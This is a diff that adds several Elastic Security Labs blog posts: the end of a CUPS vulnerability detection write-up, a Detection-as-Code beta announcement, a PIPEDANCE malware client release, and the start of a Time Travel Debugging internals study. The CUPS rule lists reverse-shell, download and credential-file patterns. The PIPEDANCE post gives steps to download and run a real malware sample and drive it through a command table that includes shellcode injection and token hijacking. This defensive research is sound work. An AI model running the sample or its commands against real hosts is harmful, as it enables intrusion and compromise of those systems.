||||
event.action == "exec" and process.parent.name in
|
||||
("foomatic-rip", "cupsd") and process.command_line like (
|
||||
// persistence
|
||||
"*cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
|
||||
"*/etc/update-motd.d*", "*/etc/sudoers*",
|
||||
"*/etc/profile*", "*autostart*", "*/etc/ssh*", "*/home/*/.ssh/*",
|
||||
"*/root/.ssh*", "*~/.ssh/*", "*udev*", "*/etc/shadow*", "*/etc/passwd*",
|
||||
// Downloads
|
||||
"*curl*", "*wget*",
|
||||
|
||||
// encoding and decoding
|
||||
"*base64 *", "*base32 *", "*xxd *", "*openssl*",
|
||||
|
||||
// reverse connections
|
||||
"*GS_ARGS=*", "*/dev/tcp*", "*/dev/udp/*", "*import*pty*spawn*", "*import*subprocess*call*", "*TCPSocket.new*",
|
||||
"*TCPSocket.open*", "*io.popen*", "*os.execute*", "*fsockopen*", "*disown*", "*nohup*",
|
||||
|
||||
// SO loads
|
||||
"*openssl*-engine*.so*", "*cdll.LoadLibrary*.so*", "*ruby*-e**Fiddle.dlopen*.so*", "*Fiddle.dlopen*.so*",
|
||||
"*cdll.LoadLibrary*.so*",
|
||||
|
||||
// misc. suspicious command lines
|
||||
"*/etc/ld.so*", "*/dev/shm/*", "*/var/tmp*", "*echo*", "*>>*", "*|*"
|
||||
)
|
||||
```
|
||||
|
||||
By making an exception of the command lines as we did in the rule above, we can broaden the scope to also detect the `cupsd` parent, without the fear of false positives.
|
||||
|
||||

|
||||
|
||||
https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_suspicious_child_execution.toml
|
||||
|
||||
### Elastic’s Attack Discovery
|
||||
|
||||
In addition to prebuilt content published, [Elastic’s Attack Discovery](https://www.elastic.co/guide/en/security/current/attack-discovery.html) can provide context and insights by analyzing alerts in your environment and identifying threats by leveraging Large Language Models (LLMs). In the following example, Attack Discovery provides a short summary and a timeline of the activity. The behaviors are then mapped to an attack chain to highlight impacted stages and help triage the alerts.
|
||||
|
||||

|
||||
|
||||
## Conclusion
|
||||
|
||||
The recent CUPS vulnerability disclosure highlights the evolving threat landscape, underscoring the importance of securing services like printing. With a high CVSS score, this issue calls for immediate action, particularly given how easily these flaws can be exploited remotely. Although the service is installed by default on some UNIX OS (based on supply chain), manual user interaction is needed to trigger the printer job. We recommend that users remain vigilant, continue hunting, and not underestimate the risk. While the threat requires user interaction, if paired with a spear phishing document, it may coerce victims to print using the rogue printer. Or even worse, silently replacing existing printers or installing new ones as [indicated](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Impact) by @evilsocket.
|
||||
|
||||
We expect more to be revealed as the initial disclosure was labeled part 1. Ultimately, visibility and detection capabilities remain at the forefront of defensive strategies for these systems, ensuring that attackers cannot exploit overlooked vulnerabilities.
|
||||
|
||||
## Key References
|
||||
|
||||
* [https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/)
|
||||
* [https://github.com/RickdeJager/cupshax/blob/main/cupshax.py](https://github.com/RickdeJager/cupshax/blob/main/cupshax.py)
|
||||
* [https://www.cve.org/CVERecord?id=CVE-2024-47076](https://www.cve.org/CVERecord?id=CVE-2024-47076)
|
||||
* [https://www.cve.org/CVERecord?id=CVE-2024-47175](https://www.cve.org/CVERecord?id=CVE-2024-47175)
|
||||
* [https://www.cve.org/CVERecord?id=CVE-2024-47176](https://www.cve.org/CVERecord?id=CVE-2024-47176)
|
||||
* [https://www.cve.org/CVERecord?id=CVE-2024-47177](https://www.cve.org/CVERecord?id=CVE-2024-47177)
|
||||
|
||||
*The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.*
|
|
@ -0,0 +1,143 @@
|
|||
---
|
||||
title: "Now in beta: New Detection as Code capabilities"
|
||||
slug: "dac-beta-release"
|
||||
date: "2024-08-08"
|
||||
description: ""
|
||||
author:
|
||||
- slug: mika-ayenson
|
||||
- slug: eric-forte
|
||||
image: "Security Labs Images 18.jpg"
|
||||
category:
|
||||
- slug: detection-science
|
||||
---
|
||||
|
||||
Exciting news! Our Detections as Code (DaC) improvements to the [detection-rules](https://github.com/elastic/detection-rules) repo are now in beta. In May this year, we shared the Alpha stages of our research into [Rolling your own Detections as Code with Elastic Security](https://www.elastic.co/blog/detections-as-code-elastic-security). Elastic is working on supporting DaC in Elastic Security. While in the future DaC will be integrated within the UI, the current updates are focused on the detection rules repo on main to allow users to set up DaC quickly and get immediate value with available tests and commands integration with Elastic Security. We have a considerable amount of [documentation](https://dac-reference.readthedocs.io/en/latest/index.html) and [examples](https://dac-reference.readthedocs.io/en/latest/etoe_reference_example.html), but let’s take a quick look at what this means for our users.
|
||||
|
||||
## Why DaC?
|
||||
|
||||
From validation and automation to enhancing cross-vendor content, there are several reasons [previously discussed](https://www.elastic.co/blog/detections-as-code-elastic-security#why-detections-as-code) to use a DaC approach for rule management. Our team of detection engineers have been using the detection rules repo for testing and validation of our rules for some time. We now can provide the same testing and validation that we perform in a more accessible way. We aim to empower our users by adding straightforward CLI commands within our detection-rules repo, to help manage rules across the full rule lifecycle between version control systems (VCS) and Kibana. This allows users to move, unit test, and validate their rules in a single command easily using CI/CD pipelines.
|
||||
|
||||
## Improving Process Maturity
|
||||
|
||||

|
||||
|
||||
Security organizations are facing the same bottomline, which is that we can’t rely on static out-of-the-box signatures. At its core, DaC is a methodology that applies software development practices to the creation and management of security detection rules, enabling automation, version control, testing, and collaboration in the development & deployment of security detections. Unit testing, peer review, and CI/CD enable software developers to be confident in their processes. These help catch errors and inefficiencies before they impact their customers. The same should be true in detection engineering. Fitting with this declaration here are some examples of some of the new features we are supporting. See our [DaC Reference Guide](https://dac-reference.readthedocs.io/en/latest/) for complete documentation.
|
||||
|
||||
### Bulk Import and Export of Custom Rules
|
||||
|
||||
Custom rules can now be moved in bulk to and from Kibana using the ```kibana import-rules``` and ```kibana export-rules``` commands. Additionally, one can move them in bulk to and from TOML format to ndjson using the ```import-rules-to-repo``` and ```export-rules-from-repo``` commands. In addition to rules, these commands support moving exceptions and exception lists using the appropriate flag. The ndjson approach's benefit is that it allows engineers to manage and share a collection of rules in a single file (exported by the CLI or from Kibana), which is helpful when access is not permitted to the other Elastic environment. When moving rules using either of these methods, the rules pass through schema validation unless otherwise specified to ensure that the rules contain the appropriate data fields. For more information on these commands, please see the [```CLI.md```](https://github.com/elastic/detection-rules/blob/DAC-feature/CLI.md) file in detection rules.
|
||||
|
||||
### Configurable Unit Tests, Validation, and Schemas
|
||||
|
||||
With this new feature, we've now included the ability to configure the behavior of unit tests and schema validation using configuration files. In these files, you can now set specific tests to be bypassed, specify only specific tests to run, and likewise with schema validation against specific rules. You can run this validation and unit tests at any time by running ```make test```. Furthermore, you can now bring your schema (JSON file) to our validation process. You can also specify which schemas to use against which target versions of your Stack. For example, if you have custom schemas that only apply to rules in 8.14 while you have a different schema that should be used for 8.10, this can now be managed via a configuration file. For more information, please see our [example configuration file](https://github.com/elastic/detection-rules/blob/DAC-feature/detection_rules/etc/_config.yaml) or use our ```custom-rules setup-config``` command from the detection rules repo to generate an example for you.
|
||||
|
||||
### Custom Version Control
|
||||
|
||||
We now are providing the ability to manage custom rules using the same version lock logic that Elastic’s internal team uses to manage our rules for release. This is done through a version lock file that checks the hash of the rule contents and determines whether or not they have changed. Additionally, we are providing a configuration option to disable this version lock file to allow users to use an alternative means of version control such as using a git repo directly. For more information please see the [version control section](https://dac-reference.readthedocs.io/en/latest/internals_of_the_detection_rules_repo.html#rule-versioning) of our documentation. Note that you can still rely on Kibana’s versioning fields.
|
||||
|
||||
Having these systems in place provides auditable evidence for maintaining security rules. Adopting some or all of these best practices can dramatically improve quality in maintaining and developing security rules.
|
||||
|
||||
### Broader Adoption of Automation
|
||||
|
||||
While quality is critical, security teams and organizations face growing rule sets to respond to an ever-expanding threat landscape. As such, it is just as crucial to reduce the strain on security analysts by providing rapid deployment and execution. For our repo, we have a single-stop shop where you can set your configuration, focus on rule development, and let the automation handle the rest.
|
||||
|
||||
#### Lowering the Barrier to Entry
|
||||
|
||||
To start, simply clone or fork our detection rules repo, run ```custom-rules setup-config``` to generate an initial config, and import your rules. From here, you now have unit tests and validation ready for use. If you are using GitLab, you can quickly create CI/CD to push the latest rules to Kibana and run these tests. Here is an [example](https://dac-reference.readthedocs.io/en/latest/core_component_syncing_rules_and_data_from_vcs_to_elastic_security.html#option-1-push-on-merge) of what that could look like:
|
||||
|
||||

|
||||
|
||||
### High Flexibility
|
||||
|
||||
While we use GitHub CI/CD for managing our release actions, by no means are we prescribing that this is the only way to manage detection rules. Our CLI commands have no dependencies outside of their python requirements. Perhaps you have already started implementing some DaC practices, and you may be looking to take advantage of the Python libraries we provide. Whatever the case may be, we want to encourage you to try adopting DaC principles in your workflows and we would like to provide flexible tooling to accomplish these goals.
|
||||
|
||||
To illustrate an example, let’s say we have an organization that is already managing their own rules with a VCS and has built automation to move rules back and forth from deployment environments. However, they would like to augment these movements with testing based on telemetry which they are collecting and storing in a database. Our DaC features already provide custom unit testing classes that can run per rule. Realizing this goal may be as simple as forking the detection rules repo and writing a single unit test. The figure below shows an example of what this could look like.
|
||||
|
||||

|
||||
|
||||
This new unit test could utilize our unit test classes and rule loading to provide scaffolding to load rules from a file or Kibana instance. Next, one could create different integration tests against each rule ID to see if they pass the organization's desired results (e.g. does the rule identify the correct behaviors). If they do, the CI/CD tooling can proceed as originally planned. If they fail, one can use DaC tooling to move those rules to a “needs tuning” folder and/or upload those rules to a “Tuning” Kibana space. In this way, one could use a hybrid of our tooling and one's own tooling to keep an up to date Kibana space (or VCS controlled folder) of what rules require updates. As updates are made and issues addressed, they could also be continually synchronized across spaces, leading to a more cohesive environment.
|
||||
|
||||
This is just one idea of how one can take advantage of our new DaC features in your environment. In practice, there are a vast number of different ways they can be utilized.
|
||||
|
||||
## In Practice
|
||||
|
||||
Now, let’s take a look at how we can tie these new features together into a cohesive DaC strategy. As a reminder, this is not prescriptive. Rather, this should be thought of as an optional, introductory strategy that can be built on to achieve your DaC goals.
|
||||
|
||||
### Establishing a DaC Baseline
|
||||
|
||||
In detection engineering, we would like collaboration to be a default rather than an exception. Detection Rules is a public repo precisely with this precept in mind. Now, it can become a basis for the community and teammates to not only collaborate with us, but also with each other. Let’s use the chart below as an example for what this could look like.
|
||||
|
||||

|
||||
|
||||
Reading from left to right, we have initial planning and prioritization and the subsequent threat research that drives the detection engineering. This process will look quite different for each user so we are not going to spend much time describing it here. However, the outcome will largely be similar, the creation of new detection rules. These could be in various forms like Sigma rules (more in a later blog), Elastic TOML rule files, or creating the rules directly in Kibana. Regardless of format, once created these rules need to be staged. This would either occur in Kibana, your VCS, or both. From a DaC perspective, the goal is to sync the rules such that the process/automation are aware of these new additions. Furthermore, this provides the opportunity for peer review of these additions — the first stage of collaboration.
|
||||
|
||||

|
||||
|
||||
This will likely happen in your version control system; for instance, in GitHub one could use a PR with required approvals before merging back into a main branch that acts as the authoritative source of reviewed rules. The next step is for testing and validation, this step could additionally occur before peer review and this is largely up to the desired implementation.
|
||||
|
||||

|
||||
|
||||
In addition to any other internal release processes, by adhering to this workflow, we can reduce the risk of malformed rules and errant mistakes from reaching both our customers and the community. Additionally, having the evidence artifacts, passing unit tests, schema validation, etc., inspires confidence and provides control for each user to choose what risks they are willing to accept.
|
||||
|
||||
Once deployed and distributed, rule performance can be monitored from Kibana. Updates to these rules can be made either directly from Kibana or through the VCS. This will largely be dependent on the implementation specifics, but in either case, these can be treated very similarly to new rules and pass through the same peer review, testing, and validation processes.
|
||||
|
||||

|
||||
|
||||
As shown in the figure above, this can provide a unified method for handling rule updates whether from the community, customers, or from internal feedback. Since the rules ultimately exist as version-controlled files, there is a dedicated format source of truth to merge and test against.
|
||||
|
||||
In addition to the process quality improvements, having authoritative known states can empower additional automation. As an example, different customers may require different testing or perhaps different data sources. Instead of having to parse the rules manually, we provide a unified configuration experience where users can simply bring their own config and schemas and be confident that their specific requirements are met. All of this can be managed automatically via CI/CD. With a fully automated DaC setup, one can take advantage of this system entirely from VCS and Kibana without needing to write additional code. Let’s take a look at an example of what this could look like.
|
||||
|
||||
### Example
|
||||
|
||||
For this example, we are going to be acting as an organization that has 2 Kibana spaces they want to manage via DaC. The first is a development space that rule authors will be using to write detection rules (so let’s assume there are some preexisting rules already available). There will also be some developers that are writing detection rules directly in TOML file formats and adding them to our VCS, so we will need to manage synchronization of these. Additionally, this organization wants to enforce unit testing and schema validation with the option for peer review on rules that will be deployed to a production space in the same Kibana instance. Finally, the organization wants all of this to occur in an automated manner with no requirement to either clone detection rules locally or write rules outside of a GUI.
|
||||
|
||||
In order to accomplish this we will need to make use of a few of the new DaC features in detection rules and write some simple CI/CD workflows. In this example we are going to be using GitHub. Additionally, you can find a video walkthrough of this example [here](https://dac-reference.readthedocs.io/en/latest/etoe_reference_example.html#demo-video). As a note, if you wish to follow along you will need to fork the detection rules repo and create an initial configuration using our ```custom-rules setup-config``` command. Also for general step by step instructions on how to use the DAC features, see this [quickstart guide](https://dac-reference.readthedocs.io/en/latest/etoe_reference_example.html#quick-start-example-detection-rules-cli-commands), which has several example commands.
|
||||
|
||||
#### Development Space Rule Synchronization
|
||||
|
||||
First we are going to synchronize from Kibana -> GitHub (VCS). To do this we will be using the ```kibana import-rules``` and ```kibana export-rules``` detection rules commands. Additionally, in order to keep the rule versions synchronized we will be using the locked versions file as we are wanting both our VCS and Kibana to be able to overwrite each other with the latest versions. This is not required for this setup, either Kibana or GitHub (VCS) could be used authoritatively instead of the locked versions file. But we will be using it for convenience.
|
||||
|
||||
The first step is for us to make a manual dispatch trigger that will pull the latest rules from Kibana upon request. In our setup this could be done automatically; however, we want to give rule authors control for when they want to move their rules to the VCS as the development space in Kibana is actively used for development and the presence of a new rule does not necessarily mean the rule is ready for VCS. The manual dispatch section could look like the following [example](https://dac-reference.readthedocs.io/en/latest/core_component_syncing_rules_and_data_from_elastic_security_to_vcs.html#option-1-manual-dispatch-pull):
|
||||
|
||||

|
||||
|
||||
With this trigger in place, we now can write 4 additional jobs that will trigger on this workflow dispatch.
|
||||
|
||||
1. Pull the rules from the desired Kibana space.
|
||||
2. Update the version lock file.
|
||||
3. Create a PR request for review to merge into the main branch in GitHub.
|
||||
4. Set the correct target for the PR.
|
||||
|
||||
These jobs could look like this also from the same [example](https://dac-reference.readthedocs.io/en/latest/core_component_syncing_rules_and_data_from_elastic_security_to_vcs.html#option-1-manual-dispatch-pull):
|
||||
|
||||

|
||||
|
||||
Now, once we run this workflow we should expect to see a PR open with the new rules from the Kibana Dev space. We also need to synchronize rules from GitHub (VCS) to Kibana. For this we will need to create a triggers on pull request:
|
||||
|
||||

|
||||
|
||||
Next, we just need to create a job that uses the ```kibana import-rules``` command to push the rule files from the given PR to Kibana. See the second [example](https://dac-reference.readthedocs.io/en/latest/core_component_syncing_rules_and_data_from_vcs_to_elastic_security.html#option-1-push-on-merge) for the complete workflow file.
|
||||
|
||||

|
||||
|
||||
With these two workflows complete we now have synchronization of rules between GitHub and the Kibana Dev space.
|
||||
|
||||
### Production Space Deployment
|
||||
|
||||
With the Dev space synchronized, now we need to handle the prod space. As a reminder, for this we need to enforce unit testing, schema validation, available peer review for PRs to main, and on merge to main auto push to the prod space. To accomplish this we will need two workflow files. The first will run unit tests on all pull requests and pushes to versioned branches. The second will push the latest rules merged to main to the prod space in Kibana.
|
||||
|
||||
The first workflow file is very simple. It has an on push and pull_request trigger and has the core job of running the ```test``` command shown below. See this [example](https://dac-reference.readthedocs.io/en/latest/core_component_syncing_rules_and_data_from_elastic_security_to_vcs.html#sub-component-3-optional-unit-testing-rules-via-ci-cd) for the full workflow.
|
||||
|
||||

|
||||
|
||||
With this ```test``` command we are performing unit tests and schema validation with the parameters specified in our config files on all of our custom rules. Now we just need the workflow to push the latest rules to the prod space. The core of this workflow is the ```kibana import-rules ```command again just using the prod space as the destination. However, there are a number of additional options provided to this workflow that are not necessary but nice to have in this example, such as options to overwrite and update exceptions/exception lists as well as rules. The core job is shown below. Please see [this example](https://dac-reference.readthedocs.io/en/latest/core_component_syncing_rules_and_data_from_vcs_to_elastic_security.html#option-1-push-on-merge) for the full workflow file.
|
||||
|
||||

|
||||
|
||||
And there we have it, with those 4 workflow files we have a synchronized development space with rules passing through unit testing and schema validation. We have the option for peer review through the use of pull requests, which can be made as requirements in GitHub before allowing for merges to main. On merge to main in GitHub we also have an automated push to the Kibana prod space, establishing our baseline of rules that have passed our organizations requirements and are ready for use. All of this was accomplished without writing additional Python code, just by using our new DaC features in GitHub workflows.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Now that we’ve reached this milestone, you may be wondering what’s next? We’re planning to spend the next few cycles continuing to test edge cases and incorporating feedback from the community as part of our business-as-usual sprints. We also have a backlog of features request considerations so if you want to voice your opinion, checkout the issues titled ```[FR][DAC] Consideration:``` or open a similar new issue if it’s not already recorded. This will help us to prioritize the most important features for the community.
|
||||
|
||||
We’re always interested in hearing use cases and workflows like these, so as always, reach out to us via [GitHub issues](https://github.com/elastic/detection-rules/issues), chat with us in our [security-rules-dac](https://elasticstack.slack.com/archives/C06TE19EP09) slack channel, and ask questions in our [Discuss forums](https://discuss.elastic.co/c/security/endpoint-security/80)!
|
|
@ -0,0 +1,102 @@
|
|||
---
|
||||
title: "Dancing the night away with named pipes - PIPEDANCE client release"
|
||||
slug: "dancing-the-night-away-with-named-pipes"
|
||||
date: "2023-10-05"
|
||||
description: "In this publication, we will walk through this client application’s functionality and how to get started with the tool."
|
||||
author:
|
||||
- slug: daniel-stepanic
|
||||
image: "photo-edited-12@2x.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- pipedance
|
||||
- ref1326
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
This year at [VB2023](https://www.virusbulletin.com/conference/), a globally renowned malware conference, Daniel Stepanic of the Elastic Security Labs team presented new insights into PIPEDANCE – a malware we [disclosed](https://twitter.com/elasticseclabs/status/1630289166008287232) earlier this year. In addition to the talk, we released a [client](https://github.com/elastic/PIPEDANCE) application that enables threat research, offering learning opportunities for both offensive and defensive teams. In this publication, we will walk through this client application’s functionality and how to get started with the tool. Our goal with this research is to help defenders improve their understanding of PIPEDANCE by emulating techniques from this malware, used by a formidable threat group. This includes different behaviors such as:
|
||||
|
||||
- Command and control communication through named pipes
|
||||
- Different styles of process injection
|
||||
- Performing network connectivity checks
|
||||
- System/network discovery and enumeration
|
||||
|
||||
## Recap
|
||||
|
||||
PIPEDANCE is a custom malware family used by a state-sponsored group to perform post-compromise activities. It's purpose-built to enable lateral movement, deploy additional implants, and perform reconnaissance functions. PIPEDANCE uses named pipes as its main channel for command and control communication. With a variety of unique features, we believe it’s a useful example to share for research purposes and can help defenders validate security tooling.
|
||||
|
||||
For a detailed analysis of the PIPEDANCE malware, check out our [previous research](https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance).
|
||||
|
||||
## Development
|
||||
|
||||
To get a better understanding of different features within malware, our team at Elastic Security Labs sometimes writes custom applications and controllers to interact with the malware or malware infrastructure. This process helps cultivate knowledge of a sample’s core features, assists in understanding the control flow better, and further validates different areas such as inputs and outputs to functions and data structures. Another key benefit is to uncover functionality that was not directly observed during an intrusion but is still contained in the malware. This allows our team to collect more intelligence, build additional detections, and understand more of the adversary’s objectives behind the malware.
|
||||
|
||||
While we don't cover these exact scenarios in this publication, here are some things that you can do with the client (but you may think of others):
|
||||
|
||||
- Understand how malware abuses named pipes
|
||||
- Verify data sources for security tooling around network activity using named pipes
|
||||
- Build a network decoder using PCAP data from PIPEDANCE’s communication requests
|
||||
|
||||
With the release of the client, we're hoping that the community can write additional PIPEDANCE clients in your favorite language and compare notes.
|
||||
|
||||

|
||||
|
||||
|
||||
## Getting Started
|
||||
|
||||
_**Note:** Please review the [requirements](https://github.com/elastic/PIPEDANCE/blob/main/README.md#requirements) before setting up the lab environment. For this example, we will use two different endpoints in the same local network where named pipes, inter-process communication, and SMB settings are configured properly._
|
||||
|
||||
The first step is to download the PIPEDANCE [sample](https://malshare.com/sample.php?action=detail&hash=e5ae20ac5bc2f02a136c3cc3c0b457476d39f809f28a1c578cda994a83213887) (free [registration](https://malshare.com/register.php) required) and start the program without any arguments on one endpoint. This machine is the targeted endpoint where the adversary is interested in running additional implants and performing reconnaissance. After execution, a named pipe will be created and await an incoming connection from our client.
|
||||
|
||||
```
|
||||
.\e5ae20ac5bc2f02a136c3cc3c0b457476d39f809f28a1c578cda994a83213887
|
||||
```
|
||||
|
||||
Now that PIPEDANCE is running on our targeted machine, download and compile the client files within the [repository](https://github.com/elastic/PIPEDANCE). The PIPEDANCE malware uses a hard-coded string, `u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe`, that serves as the named pipe name and RC4 key.
|
||||
|
||||

|
||||
|
||||
|
||||
Take the newly compiled client program and execute it on a separate endpoint with one argument using either the target IP address or hostname of the machine running PIPEDANCE (machine from the previous step). An example of this would be:
|
||||
|
||||
```
|
||||
pipedance_client.exe 192.168.47.130
|
||||
```
|
||||
|
||||
After execution, the client will check in with the PIPEDANCE victim to retrieve the PID of the malicious process, working directory, and user running the process. A menu of commands should be listed allowing the operator to perform various post-compromise activities.
|
||||
|
||||

|
||||
|
||||
|
||||
The appendix below contains the functions and their supported arguments.
|
||||
|
||||
## Conclusion
|
||||
|
||||
As part of our research investigating PIPEDANCE, we are releasing a client application that interacts with the malware. This tool can be used to evaluate existing security prevention/detection technologies as well as used for threat research purposes. Please check out our [repository](https://github.com/elastic/PIPEDANCE), there is also a detection section with behavioral/YARA/hunting rules.
|
||||
|
||||
## Appendix
|
||||
|
||||
### Handler Commands
|
||||
|
||||
| Command ID | Description | Arguments |
|
||||
|---|---|---|
|
||||
| 0 | Stop | PIPEDANCE client |
|
||||
| 1 | Terminate process by PID | PID (ex. 9867) |
|
||||
| 2 | Run shell command and print output | Command (ex. ipconfig) |
|
||||
| 4 | List files in current working directory |
|
||||
| 6 | Write file to disk | Filename (full path), file content |
|
||||
| 7 | Get current working directory |
|
||||
| 8 | Change current working directory | Folder path |
|
||||
| 9 | List running processes |
|
||||
| 23 | Create random process with hijacked token from provided PID and inject shellcode (32bits) | PID (token hijack), shellcode |
|
||||
| 24 | Create random process with hijacked token from provided PID and inject shellcode (64bits) | PID (token hijack), shellcode |
|
||||
| 25 | Open process from provided PID and inject shellcode (32bits) | PID (thread hijack), shellcode |
|
||||
| 26 | Open process from provided PID and inject shellcode (64bits) | PID (thread hijack), shellcode |
|
||||
| 71 | HTTP connectivity check | Domain (ex. google.com)
|
||||
| 72 | DNS connectivity check with provided DNS server IP | DNS server IP
|
||||
| 73 | ICMP connectivity check | ICMP server IP |
|
||||
| 74 | TCP connectivity check | IP, port |
|
||||
| 75 | DNS connectivity check without DNS server |
|
||||
| 99 | Disconnect pipe / exit thread |
|
||||
| 100 | Terminate PIPEDANCE process / disconnect Pipe / exit thread |
|
|
@ -0,0 +1,326 @@
|
|||
---
|
||||
title: "Deep dive into the TTD ecosystem"
|
||||
slug: "deep-dive-into-the-ttd-ecosystem"
|
||||
date: "2022-11-30"
|
||||
description: "This is the first in a series focused on the Time Travel Debugging (TTD) technology developed by Microsoft that was explored in detail during a recent independent research period."
|
||||
author:
|
||||
- slug: christophe-alladoum
|
||||
image: "photo-edited-02-w.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
tags:
|
||||
- windows
|
||||
---
|
||||
|
||||
Several times a year, Elastic Security Labs researchers get the freedom to choose and dig into projects of their liking — either alone or as a team. This time is internally referred to as “On-Week” projects. This is the first in a series focused on the [Time Travel Debugging](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview) (TTD) technology developed by Microsoft that was explored in detail during a recent On-Week session.
|
||||
|
||||
Despite being made public for several years, awareness of TTD and its potential are greatly underrated within the infosec community. We hope this two-part series can help shed some light on how TTD can be useful for program debugging, vulnerability research and exploitation, and malware analysis.
|
||||
|
||||
This research involved first understanding the inner workings of TTD and then assessing some interesting applicable uses that can be made out of it. This post will focus on how researchers dive deep into TTD, sharing their methodology along with some interesting findings. The second part will detail the applicable use of TTD for the purpose of malware analysis and integration with Elastic Security.
|
||||
|
||||
# Background
|
||||
|
||||
[Time Travel Debugging](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview) is a tool developed by Microsoft Research that allows users to record execution and navigate freely into the user-mode runtime of a binary. TTD itself relies on two technologies: Nirvana for the binary translation, and iDNA for the trace reading/writing process. Available since Windows 7, TTD internals were first detailed [in a publicly available paper](https://www.usenix.org/legacy/events/vee06/full_papers/p154-bhansali.pdf). Since then, both [Microsoft](https://www.youtube.com/watch?v=l1YJTg_A914&) and [independent researchers](https://infocondb.org/con/recon/recon-2015/hooking-nirvana-stealthy-instrumentation-techniques-for-windows-10) have covered it in great detail. For this reason, we won’t explore the internals of both technologies in depth. Instead, Elastic researchers investigated the ecosystem — or the executables, DLLs, and drivers — that make the TTD implementation work. This led to some interesting findings about TTD, but also Windows itself, as TTD leverages some (undocumented) techniques to work as intended in special cases, such as [Protected Processes](https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#system-protected-process).
|
||||
|
||||
But why investigate TTD at all? Aside from pure curiosity, it is likely that one of the possible intended uses for the technology would be discovering bugs in production environments. When bugs are hard to trigger or reproduce, having a “record-once-replay-always” type of environment helps compensate for that difficulty, which is exactly what TTD implements when coupled with WinDbg.
|
||||
|
||||
Debugging tools such as [WinDbg](https://apps.microsoft.com/store/detail/9PGJGD53TN86) have always been an immense source of information when reversing Windows components, as they provide additional comprehensible information, usually in plain text. Debugging tools (especially debuggers) must cooperate with the underlying operating system, which could involve debugging interfaces and/or previously undisclosed capabilities from the OS. TTD conforms to that pattern.
|
||||
|
||||
# High-level overview
|
||||
|
||||
TTD works by first creating a recording that tracks every instruction executed by an application and stores it in a database (suffixed with .run). Recorded traces can be replayed at will using the WinDbg debugger, which on first access will index the .run file, allowing for faster navigation through the database. To be able to track execution of arbitrary processes, TTD injects a DLL responsible for recording activity on-demand which allows it to record processes by spawning them, but also may attach to an already-running process.
|
||||
|
||||
TTD is freely [downloadable](https://apps.microsoft.com/store/detail/9PGJGD53TN86) as part of the WinDbg Preview package in the MS Store. It can be used directly from WinDbg Preview (aka WinDbgX), but is a standalone component that is located in `C:\Program Files\WindowsApps\Microsoft.WinDbg_<version></version>_<arch>__8wekyb3d8bbwe\amd64\ttd` for the x64 architecture, which we will focus on in this post. x86 and arm64 versions are also available for download in the MS Store.
|
||||
|
||||
The package consists of two EXE files (TTD.exe and TTDInject.exe) and a handful of DLLs. This research focuses on the major DLL responsible for everything not related to Nirvana/iDNA (i.e. responsible for the session management, driver communication, DLL injection, and more): ttdrecord.dll
|
||||
|
||||
\_Note: Most of this research was made using two versions of the ttdrecord DLL: mostly on a 2018 version (1.9.106.0 SHA256=aca1786a1f9c96bbe1ea9cef0810c4d164abbf2c80c9ecaf0a1ab91600da6630), and early 2022 version (10.0.19041.1 SHA256=1FF7F54A4C865E4FBD63057D5127A73DA30248C1FF28B99FF1A43238071CBB5C). The older versions were found to have more symbols, which helped speed up the reverse engineering process. We then re-adapted structures and function names to the most recent version. Therefore, some of the structures explained here might not be the same if you’re trying to reproduce on more recent versions. \_
|
||||
|
||||
# Examining TTD features
|
||||
|
||||
## Command line parameters
|
||||
|
||||
Readers should note that TTD.exe acts essentially as a wrapper to ttdrecord!ExecuteTTTracerCommandLine:
|
||||
|
||||
```
|
||||
HRESULT wmain()
|
||||
{
|
||||
v28 = 0xFFFFFFFFFFFFFFFEui64;
|
||||
hRes = CoInitializeEx(0i64, 0);
|
||||
if ( hRes >= 0 )
|
||||
{
|
||||
ModuleHandleW = GetModuleHandleW(L"TTDRecord.dll");
|
||||
[...]
|
||||
TTD::DiagnosticsSink::DiagnosticsSink(DiagnosticsSink, &v22);
|
||||
CommandLineW = GetCommandLineW();
|
||||
lpDiagnosticsSink = Microsoft::WRL::Details::Make<TTD::CppToComDiagnosticsSink,TTD::DiagnosticsSink>(&v31, DiagnosticsSink);
|
||||
hRes = ExecuteTTTracerCommandLine(*lpDiagnosticsSink, CommandLineW, 2i64);
|
||||
[...]
|
||||
```
|
||||
|
||||
The final line of the code excerpt above shows a call to ExecuteTTTracerCommandLine , which takes an integer as the last argument. This argument corresponds to the desired tracing modes, which are: - 0 -\> FullTracingMode, - 1 -\> UnrestrictedTracing and - 2 -\> Standalone (the hardcoded mode for the public version of TTD.exe)
|
||||
|
||||
Forcing TTD to run in full-tracing mode reveals available options, which include some hidden capabilities such as process reparenting (-parent) and automatic tracing until reboot (-onLaunch) for programs and services.
|
||||
|
||||
[Dumping the complete option set](https://gist.github.com/calladoum-elastic/4666dafc789a273c35a4aedf2ed9cd9e) of TTDRecord.dll revealed interesting hidden command line options such as:
|
||||
|
||||
```
|
||||
-persistent Trace programs or services each time they are started (forever). You must specify a full path to the output location with -out.
|
||||
-delete Stop future tracing of a program previously specified with -onLaunch or -persistent. Does not stop current tracing. For -plm apps you can only specify the package (-delete <package>) and all apps within that package will be removed from future tracing
|
||||
-initialize Manually initialize your system for tracing. You can trace without administrator privileges after the system is initialized.
|
||||
```
|
||||
|
||||
